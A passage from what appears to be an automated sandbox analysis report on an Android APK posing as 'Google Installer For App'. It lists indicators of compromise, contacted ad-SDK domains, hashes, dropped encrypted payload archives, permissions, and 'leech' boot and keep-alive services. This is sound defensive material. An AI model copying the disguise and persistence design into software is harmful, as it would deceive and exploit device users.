                                                        http://core-tech.com/Corporation/En_us/Invoices-attachedGet hashmaliciousBrowse
                                                        • 172.217.21.2
                                                        et2-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.comart.filter.editor.imge_102_apkplz.net.apkGet hashmaliciousBrowse
                                                        • 203.119.244.125
                                                        persistent_malware.apkGet hashmaliciousBrowse
                                                        • 203.119.214.125
                                                        37ff.apkGet hashmaliciousBrowse
                                                        • 203.119.244.125
                                                        Coolapk-9.2.2-1905301-coolapk-app-release.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106
                                                        jHe5SEEwRv.apkGet hashmaliciousBrowse
                                                        • 203.119.244.125
                                                        youmi.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106
                                                        1650037287388.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106
                                                        gpz2EuBEObGet hashmaliciousBrowse
                                                        • 203.119.214.125
                                                        7e4a.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106
                                                        1733331018917.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106
                                                        7GJqknrsET.apkGet hashmaliciousBrowse
                                                        • 203.119.244.125
                                                        CJOEHjjYVK.apkGet hashmaliciousBrowse
                                                        • 203.119.215.106

                                                        ASN

                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                        unknownInvoice0186.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        P_2038402.xlsxGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        bad.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        RFQ.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        100323.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        Copy.pdfGet hashmaliciousBrowse
                                                        • 127.0.0.1
                                                        2.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        UPPB502981.docGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        Adm_Boleto.via2.comGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        00ECF4AD.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        PDF_100987464500.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        filedata.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        .exeGet hashmaliciousBrowse
                                                        • 192.168.1.60
                                                        33redacted@threatwave.comGet hashmaliciousBrowse
                                                        • 192.168.1.71
                                                        unknownInvoice0186.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        P_2038402.xlsxGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        bad.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        RFQ.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        100323.pdfGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        Copy.pdfGet hashmaliciousBrowse
                                                        • 127.0.0.1
                                                        2.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        UPPB502981.docGet hashmaliciousBrowse
                                                        • 192.168.0.44
                                                        Adm_Boleto.via2.comGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        00ECF4AD.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        PDF_100987464500.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        filedata.exeGet hashmaliciousBrowse
                                                        • 192.168.0.40
                                                        .exeGet hashmaliciousBrowse
                                                        • 192.168.1.60
                                                        33redacted@threatwave.comGet hashmaliciousBrowse
                                                        • 192.168.1.71

                                                        JA3 Fingerprints

                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                        9fc6ef6efc99b933c5e2d8fcf4f68955app-gexsi-release.apkGet hashmaliciousBrowse
                                                        • 203.119.214.125
                                                        • 216.58.206.2
                                                        7Hv74xR7B6Get hashmaliciousBrowse
                                                        • 203.119.214.125
                                                        • 216.58.206.2
                                                        d8c87b9bfde38897979e41242626c2f3UsO0d1ORfQGet hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        9Qb6O8uCDTGet hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        skWNVgnQRyGet hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        bhNep80PYzGet hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        spcEsvRpZGGet hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        KyefcoR7q5Get hashmaliciousBrowse
                                                        • 216.58.206.2
                                                        Browser4G.apkGet hashmaliciousBrowse
                                                        • 216.58.206.2

                                                        Dropped Files

                                                        No context

                                                        Screenshots

                                                        Thumbnails

                                                        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                                                        android-buttoncam-android

                                                        Created / dropped Files

                                                        /data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip
                                                        File Type:Zip archive data, at least v1.0 to extract
                                                        Size (bytes):413755
                                                        Entropy (8bit):7.992816497810214
                                                        Encrypted:true
                                                        MD5:483F39144FEBAD38C2065157095A3B75
                                                        SHA1:EA2D461656D082FDE40CC042CCD8CD10AC646F3A
                                                        SHA-256:3EC49BBE96DA84069787F3E773A320AC920070F960319D25256D2227142FF442
                                                        SHA-512:4C76A1CAFD88E07D15ABBD874903AFC80DEA24A3380DB01558AB65CCB80F71F86F33F3E6B9E9ECA91267573AA011ADB1C53D0D3A40C7600A234AD092E4B082B0
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:
                                                        /data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip
                                                        File Type:Zip archive data, at least v1.0 to extract
                                                        Size (bytes):333100
                                                        Entropy (8bit):7.994687388849497
                                                        Encrypted:true
                                                        MD5:E42D66AC604E1DE86D1CDC2AF53D6144
                                                        SHA1:7BCDDA409F60A1E7E1713529472E4D33360EDA7C
                                                        SHA-256:C2F2587A628B207F689AF102DA26D4ECCA1FA804A63A570ED4E094DA4A29535F
                                                        SHA-512:4B0AF90C2827EE8FDCDFC370425C2170235C5E4949D5587055211B94B60F0C4902158A67DD6F63CFC47DF0609993D570A03C770000CE5F68E33CB0A0903BDCFF
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:

                                                        Domains and IPs

                                                        Contacted Domains

                                                        NameIPActiveMaliciousAntivirus DetectionReputation
                                                        ec2-13-232-28-13.ap-south-1.compute.amazonaws.com
                                                        13.232.28.13
                                                        truefalsehigh
                                                        pagead.l.doubleclick.net
                                                        216.58.206.2
                                                        truefalsehigh
                                                        et2-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.com
                                                        203.119.214.125
                                                        truefalsehigh
                                                        dualstack-na61-na62.wagbridge.alibaba.tanx.com.gds.alibabadns.com
                                                        203.119.214.125
                                                        truefalsehigh
                                                        sdk.androidcloud.org
                                                        unknown
                                                        unknowntrue1%, virustotal, Browseunknown
                                                        i.ytimg.com
                                                        unknown
                                                        unknownfalsehigh
                                                        ulogs.umengcloud.com
                                                        unknown
                                                        unknownfalsehigh
                                                        www.youtube.com
                                                        unknown
                                                        unknownfalsehigh
                                                        ulogs.umeng.com
                                                        unknown
                                                        unknownfalsehigh

                                                        Contacted URLs

                                                        NameMaliciousAntivirus DetectionReputation
                                                        http://sdk.androidcloud.org:8091/api/sdk.ad.requestUpdatetrue
                                                        • 2%, virustotal, Browse
                                                        • Avira URL Cloud: safe
                                                        unknown
                                                        http://sdk.androidcloud.org:8091/api/sdk.ad.requestRestrue
                                                        • 2%, virustotal, Browse
                                                        • Avira URL Cloud: safe
                                                        unknown

                                                        URLs from Memory and Binaries

                                                        NameSourceMaliciousAntivirus DetectionReputation
                                                        https://ulogs.umengcloud.com/unify_logsandroidfalse
                                                          high
                                                          http://schemas.android.com/apk/res/androidauthenticator.xml, AndroidManifest.xml, androidfalse
                                                            high
                                                            https://github.com/bihe0832/AndroidGetAPKInfoandroidfalse
                                                              high
                                                              http://www.baidu.com/androidfalse
                                                                high
                                                                http://sdk.androidcloud.org:8091/api/sdk.ad.requestStatandroidfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                https://plbslog.umeng.com/androidfalse
                                                                  high
                                                                  http://android.bugly.qq.com/rqd/asyncandroidfalse
                                                                    high
                                                                    http://gd.androidcloud.organdroidfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://sdk.androidcloud.org:8091/api/sdk.ad.requestListandroidfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://sdk.androidcloud.org:8091/api/sdk.ad.uploadResultandroidfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    https://preplbslog.umeng.comandroidfalse
                                                                      high
                                                                      https://cmnsguider.yunos.com:443/genDeviceTokenandroidfalse
                                                                        high
                                                                        http://blog.bihe0832.comandroidfalse
                                                                        • Avira URL Cloud: safe
                                                                        unknown
                                                                        http://sdk.androidcloud.org:8091/api/sdk.ad.requestAdsandroidfalse
                                                                        • Avira URL Cloud: safe
                                                                        unknown
                                                                        https://github.com/bihe0832androidfalse
                                                                          high
                                                                          http://gd.androidcloud.org/api/sdk.ad.loadAdsandroidfalse
                                                                          • Avira URL Cloud: safe
                                                                          unknown
                                                                          https://ulogs.umeng.com/unify_logsandroidfalse
                                                                            high
                                                                            http://rqd.uu.qq.com/rqd/syncandroidfalse
                                                                              high

                                                                              Contacted IPs

                                                                              • No. of IPs < 25%
                                                                              • 25% < No. of IPs < 50%
                                                                              • 50% < No. of IPs < 75%
                                                                              • 75% < No. of IPs

                                                                              Public

                                                                              IPCountryFlagASNASN NameMalicious
                                                                              64.233.166.188
                                                                              United States
                                                                              15169unknownfalse
                                                                              203.119.214.125
                                                                              China
                                                                              37963unknownfalse
                                                                              216.58.206.2
                                                                              United States
                                                                              15169unknownfalse
                                                                              13.232.28.13
                                                                              United States
                                                                              38895unknownfalse

                                                                              Static File Info

                                                                              General

                                                                              File type:Zip archive data, at least v2.0 to extract
                                                                              Entropy (8bit):7.998547156160149
                                                                              TrID:
                                                                              • Android Package (19004/1) 46.91%
                                                                              • Java Archive (13504/1) 33.34%
                                                                              • ZIP compressed archive (8000/1) 19.75%
                                                                              File name:m2sE4UM7Wk.apk
                                                                              File size:928034
                                                                              MD5:0961480edcbc86bc362801912d142c44
                                                                              SHA1:d919a8e1e755cc8da45430e8eae5e0e5452d8da1
                                                                              SHA256:b4799ebc4c01d9f88c4a18c9b7ed052b3f0f7ec7be3508542c104de5a1a6e505
                                                                              SHA512:bc3013f718a3ba9018fc52e5d52102e20e06dcab180f55390fe2ee955982ba3c46e30a7679399f051e2205fe35d99bc97774fdf839522792181491bd961bea86
                                                                              SSDEEP:24576:6ZMLDPJCZRQHSXahC2eyuI8dx+8K5u78HHIsxqpjex:6SL9QRQyX6Tq886YpjI
                                                                              File Content Preview:PK........<{.N................AndroidManifest.xml.\kp\...$.!..l.......5..dY6.A....e...<mY.-a.RF....I.!..B...!..B.......,.&.....j..."[...MQ. [...V.t..gZ.......E......9...{....K.......<:[E.[....d.O...W..F...@.8........7...h#....N............V...~.^.........

                                                                              File Icon

                                                                              Static APK Info

                                                                              General

                                                                              Label:Google Installer For App
                                                                              Minimum SDK required:15
                                                                              Target SDK required:21
                                                                              Version Code:1108
                                                                              Version Name:1108
                                                                              Package Name:com.caynax.alarmclock
                                                                              Is Activity:false
                                                                              Is Receiver:true
                                                                              Is Service:true
                                                                              Requests System Level Permissions:false
                                                                              Play Store Compatible:true

                                                                              Activities

                                                                              NameIs Entrypoint
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity00
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity01
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity02
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity03
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity04
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity05
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity06
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity07
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity08
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity09
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity10
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity11
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity12
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity13
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity14
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity15
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity16
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity17
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity18
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity19
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity20
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity100
                                                                              com.caynax.alarmclockcom.google.android.gms.ads.AdActivity
                                                                              com.caynax.alarmclockcom.jaguar.ads.gourd.internal.activity.GourdActivity
                                                                              com.caynax.alarmclockcom.android.google.coreappx.LauncherActivity
                                                                              com.caynax.alarmclockcom.android.google.coreappx.LauncherActivity2
                                                                              com.caynax.alarmclockcom.android.google.coreappx.LauncherActivity3
                                                                              com.caynax.alarmclockcom.android.google.coreappx.LauncherActivity4
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity101
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity102
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity103
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity104
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity105
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity106
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity107
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity108
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity109
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity21
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity22
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity23
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity24
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity110
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity111
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity112
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity113
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity114
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity115
                                                                              com.caynax.alarmclockcom.android.support.stub.Activity116
                                                                              com.caynax.alarmclockcom.unity3d.services.ads.adunit.AdUnitActivity
                                                                              com.caynax.alarmclockcom.unity3d.services.ads.adunit.AdUnitTransparentActivity
                                                                              com.caynax.alarmclockcom.unity3d.services.ads.adunit.AdUnitTransparentSoftwareActivity
                                                                              com.caynax.alarmclockcom.unity3d.services.ads.adunit.AdUnitSoftwareActivity
                                                                              com.caynax.alarmclockcom.startapp.android.publish.ads.list3d.List3DActivity
                                                                              com.caynax.alarmclockcom.startapp.android.publish.adsCommon.activities.OverlayActivity
                                                                              com.caynax.alarmclockcom.startapp.android.publish.adsCommon.activities.FullScreenActivity

                                                                              Receivers

                                                                              • com.android.google.coreappx.receiver.BootReceiver
                                                                              • Intent: android.intent.action.BOOT_COMPLETED

                                                                              Services

                                                                              • com.android.google.coreappx.keep.accountsync.SyncService
                                                                              • Intent: android.content.SyncAdapter (Priority 0)
                                                                              • com.android.google.coreappx.service.KeepService
                                                                              • Intent: android.accounts.AccountAuthenticator (Priority 0)
                                                                              • com.android.google.coreappx.service.Service00
                                                                              • com.android.leech.ad.service.KTService
                                                                              • com.android.leech.main.alive.JobSchedulerService1
                                                                              • com.android.leech.main.alive.JobSchedulerService2
                                                                              • com.android.leech.main.alive.KeepService
                                                                              • com.android.leech.main.service.AuthService
                                                                              • Intent: android.accounts.AccountAuthenticator (Priority 0)
                                                                              • com.android.leech.main.service.IgService
                                                                              • com.android.leech.main.service.LeechRegeistService
                                                                              • com.android.support.service.Service00
                                                                              • com.android.support.service.Service01
                                                                              • com.android.support.service.Service02
                                                                              • com.android.support.service.Service03
                                                                              • com.android.support.service.Service04
                                                                              • com.android.support.service.Service05
                                                                              • com.android.support.service.Service06
                                                                              • com.android.support.service.Service07
                                                                              • com.android.support.service.Service08
                                                                              • com.android.support.service.Service09
                                                                              • com.android.support.service.Service10
                                                                              • com.android.support.service.Service11
                                                                              • com.android.support.service.Service12
                                                                              • com.android.support.service.Service13
                                                                              • com.android.support.service.Service14
                                                                              • com.android.support.service.Service15
                                                                              • com.android.support.service.Service16
                                                                              • com.android.support.service.Service17
                                                                              • com.startapp.android.publish.common.metaData.InfoEventService
                                                                              • com.startapp.android.publish.common.metaData.PeriodicJobService
                                                                              • com.startapp.android.publish.common.metaData.PeriodicMetaDataService

                                                                              Permission Requested

                                                                              • android.permission.ACCESS_COARSE_LOCATION
                                                                              • android.permission.ACCESS_FINE_LOCATION
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              • android.permission.AUTHENTICATE_ACCOUNTS
                                                                              • android.permission.BIND_JOB_SERVICE
                                                                              • android.permission.BLUETOOTH
                                                                              • android.permission.GET_ACCOUNTS
                                                                              • android.permission.INTERNET
                                                                              • android.permission.READ_EXTERNAL_STORAGE
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • android.permission.READ_SYNC_SETTINGS
                                                                              • android.permission.RECEIVE_BOOT_COMPLETED
                                                                              • android.permission.REORDER_TASKS
                                                                              • android.permission.SYSTEM_ALERT_WINDOW
                                                                              • android.permission.WRITE_EXTERNAL_STORAGE
                                                                              • android.permission.WRITE_SYNC_SETTINGS
                                                                              • android.permissions.MANAGE_USERS
                                                                              • com.android.launcher.permission.INSTALL_SHORTCUT
                                                                              • com.android.launcher.permission.UNINSTALL_SHORTCUT

                                                                              Certificate

                                                                              Name:classes.dex
                                                                              Issuer:CN=chenqinglin,OU=none,O=none,L=none,ST=guangdong,C=none
                                                                              Subject:CN=chenqinglin,OU=none,O=none,L=none,ST=guangdong,C=none

                                                                              Resources

                                                                              NameTypeSize
                                                                              DIsplay1.jpgJPEG image data60290
                                                                              libdaemon.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/, stripped13460
                                                                              CERT.SFASCII text, with CRLF line terminators1103
                                                                              authenticator.xmlAndroid binary XML396
                                                                              CERT.RSAdata1344
                                                                              AndroidManifest.xmlAndroid binary XML30536
                                                                              classes.dexDalvik dex file version 035168240
                                                                              MANIFEST.MFASCII text, with CRLF line terminators1093
                                                                              resources.arscdata1816
                                                                              sync.xmlTarga image data - RLE 244 x 65536 x 9 +1 +28 ""512
                                                                              common_ic_googleplayservices.pngPNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced3891
                                                                              DIsplay5.jpgJPEG image data35379
                                                                              file_paths.xmlAndroid binary XML560
                                                                              oriASCII text, with no line terminators32
                                                                              keepauthenticator.xmlAndroid binary XML396
                                                                              DIsplay3.jpgJPEG image data333102
                                                                              DIsplay2.jpgJPEG image data413757
                                                                              adsdk.zip.drZip archive data, at least v1.0 to extract413755
                                                                              classes.dexDalvik dex file version 035988836
                                                                              patch.zip.drZip archive data, at least v1.0 to extract333100
                                                                              classes.dexDalvik dex file version 035880736

                                                                              Network Behavior

                                                                              Network Port Distribution

                                                                              TCP Packets

                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                              Jul 12, 2019 14:03:22.469151974 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.495199919 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.495513916 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.496484995 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.523114920 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.523152113 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.523312092 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.523334980 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.523616076 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.537902117 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.546514988 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:22.564301968 CEST52285037264.233.166.188192.168.1.92
                                                                              Jul 12, 2019 14:03:22.564594030 CEST503725228192.168.1.9264.233.166.188
                                                                              Jul 12, 2019 14:03:35.479326010 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:35.612734079 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:35.612876892 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:35.614305019 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:35.746918917 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:35.749345064 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:35.749429941 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:36.296159983 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:36.428153038 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:36.428853989 CEST80915196413.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:36.428920031 CEST519648091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:38.412436962 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:38.544652939 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:38.544754982 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:38.553033113 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:38.684616089 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:38.686574936 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:38.686702013 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:39.862117052 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.122195005 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.122380018 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.149933100 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.409472942 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.410366058 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.410521984 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.410546064 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.410573006 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.412435055 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.413320065 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.416980028 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.457307100 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:40.552234888 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.553560972 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.588783979 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:40.590642929 CEST80915196613.232.28.13192.168.1.92
                                                                              Jul 12, 2019 14:03:40.590711117 CEST519668091192.168.1.9213.232.28.13
                                                                              Jul 12, 2019 14:03:40.629669905 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.812304020 CEST44354298203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.812401056 CEST54298443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.883732080 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:40.883826971 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:40.901890039 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.157334089 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.157341003 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.157362938 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.157388926 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.157402992 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.157424927 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.157620907 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.159635067 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.160767078 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.223757982 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.226146936 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.282159090 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.492046118 CEST44354300203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.492153883 CEST54300443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.542779922 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.542875051 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.548887968 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.809696913 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.810082912 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.810133934 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.810178041 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.810178995 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.810205936 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.810271978 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.812320948 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:41.812638044 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.855962992 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.877075911 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:41.899597883 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.116625071 CEST44354302203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.116709948 CEST54302443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.154346943 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.154460907 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.302805901 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.557308912 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.557583094 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.557688951 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.557714939 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.557735920 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.557773113 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.558691025 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.558888912 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.559020996 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.714407921 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.716641903 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:42.969243050 CEST44354304203.119.214.125192.168.1.92
                                                                              Jul 12, 2019 14:03:42.969404936 CEST54304443192.168.1.92203.119.214.125
                                                                              Jul 12, 2019 14:03:44.590220928 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:03:44.609513044 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.609694958 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:03:44.615731955 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:03:44.634866953 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.643361092 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.643404007 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.643418074 CEST44358588216.58.206.2192.168.1.92
                                                                              Jul 12, 2019 14:03:44.643616915 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:03:44.664541006 CEST58588443192.168.1.92216.58.206.2
                                                                              Jul 12, 2019 14:03:44.667422056 CEST58588443192.168.1.92216.58.206.2
